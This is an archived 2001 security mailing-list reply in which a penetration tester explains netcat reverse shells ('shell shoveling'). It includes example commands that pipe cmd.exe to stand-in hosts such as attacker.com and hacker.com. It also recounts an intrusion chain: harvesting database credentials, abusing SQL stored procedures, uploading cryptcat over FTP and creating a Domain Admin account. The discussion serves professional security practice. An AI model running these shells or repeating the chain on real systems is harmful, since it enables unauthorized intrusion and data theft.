mailing list archives
RE: Shell Shoveling?!?
From: Frank Knobbe <FKnobbe () KnobbeITS com>
Date: Wed, 3 Oct 2001 12:13:40 -0500
-----BEGIN PGP SIGNED MESSAGE-----
From: Junginger, Jeremy [mailto:jjunginger () Calence com]
Sent: Wednesday, October 03, 2001 10:58 AM
Uhm... why so complicated? If you can establish a connection
outbound, you can also feed input back through the same
connection... as in 'nc -e cmd.exe hacker.com 25'
1) wouldn't the use of this exploit involve a prior intrusion on
the machine (to install NetCat)?
Absolutely, you need to somehow execute code on the box. That can be
done through various exploits. But the same applies for your original
question of shell shoveling. You need to be able to execute nc
2) wouldn't there be a requirement to escalate privileges in order
to run NetCat on the compromised host?
That depends totally on the host. There are just two requirements
that need to be met: a) you need to be able to upload netcat onto the
host (i.e. through an HTTP PUT or execution of (t)ftp), and b) you
need to be able to execute netcat. Once that is done, you can
interact more efficiently with the system in order to elevate
3) if the host has already been compromised (in step 1), why is
Efficiency. If you can upload and execute files/shell scripts/batch
files, then you're in anyway. Using netcat just makes it cleaner to
interact with the system (and speeds up time).
Here is an example of my current pen-test engagement:
* found a MS web server with SiteServer examples loaded, so we were
being able to view ASP sources.
* found data source name and user ID/password for database.
* SQLRDS exploit worked, but that user ID could not execute store
* however, that user ID and password was able to read other user ID's
from the default SQL databases.
* one of them had an easy password (i.e. something/something)
* THAT one was able to execute cmd using sp_execute.
* found that firewall did not block outbound FTP, so created ftp
scripts with echo, and ftp'ed cryptcat in (I prefer encryption when I
open client machines to protect their juicy data in its way to me :)
At this point, being able to ftp files in, I could have created
attack batch files (i.e. to look around, get dir listings, browse the
network, get I/F configs, routing tables, etc). I was in, no doubt.
But using netcat/cryptcat just makes working with the machine so much
faster since I don't have to script the stuff, upload it, and execute
it, but instead I just type it in. That's where netcat is worth more
The account I was running under had enough privileges locally. I was
able to extend that and create an Domain Admin account in that NT
domain the box belonged to. (Unfortunately, the juicy domain is a
different one, and no trust exists. Tonight I need to check the
output of the bruter against the other domain, and somehow get an
account in there. Uploading an SMB sniffer comes to mind...).
Anyway, regarding privileges... if you can not run netcat, then most
likely you can not exploit the system further (host too hard), and it
would be tough to extend your privileges using other mechanisms
(besides bringing tools in). In that case I would resort to buffer
overflows and hope that I can bring in my shell that way. If you
stack smash your web server for example, you can deliver a shell
(just like netcat) with the payload, and chances are good it will
execute under the same context of the service/daemon your were
What you had written in your previous email was: nc attacker.com 80 |
cmd.exe | nc attacker.com 25
Where does it run? On your machine? You basically pull the web page
from attacker.com, pipe it to your shell, and pipe the results back
to attacker port 25. Now, what good does that do?
If you meant that you want to execute netcat on the target, than that
would assume that netcat is already there. Question a) how do you
issue/execute this command on the target, and b) if netcat were
sitting there waiting for you and you can execute it, why make it so
complicated? Just doing a 'nc -e cmd.exe attacker.com 80' would be
enough for you to get a shell.
Oops, sorry for the long post, I'll shut up now.
-----BEGIN PGP SIGNATURE-----
Version: PGP Personal Privacy 6.5.8
Comment: PGP or S/MIME (X.509) encrypted email preferred.
-----END PGP SIGNATURE-----
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see: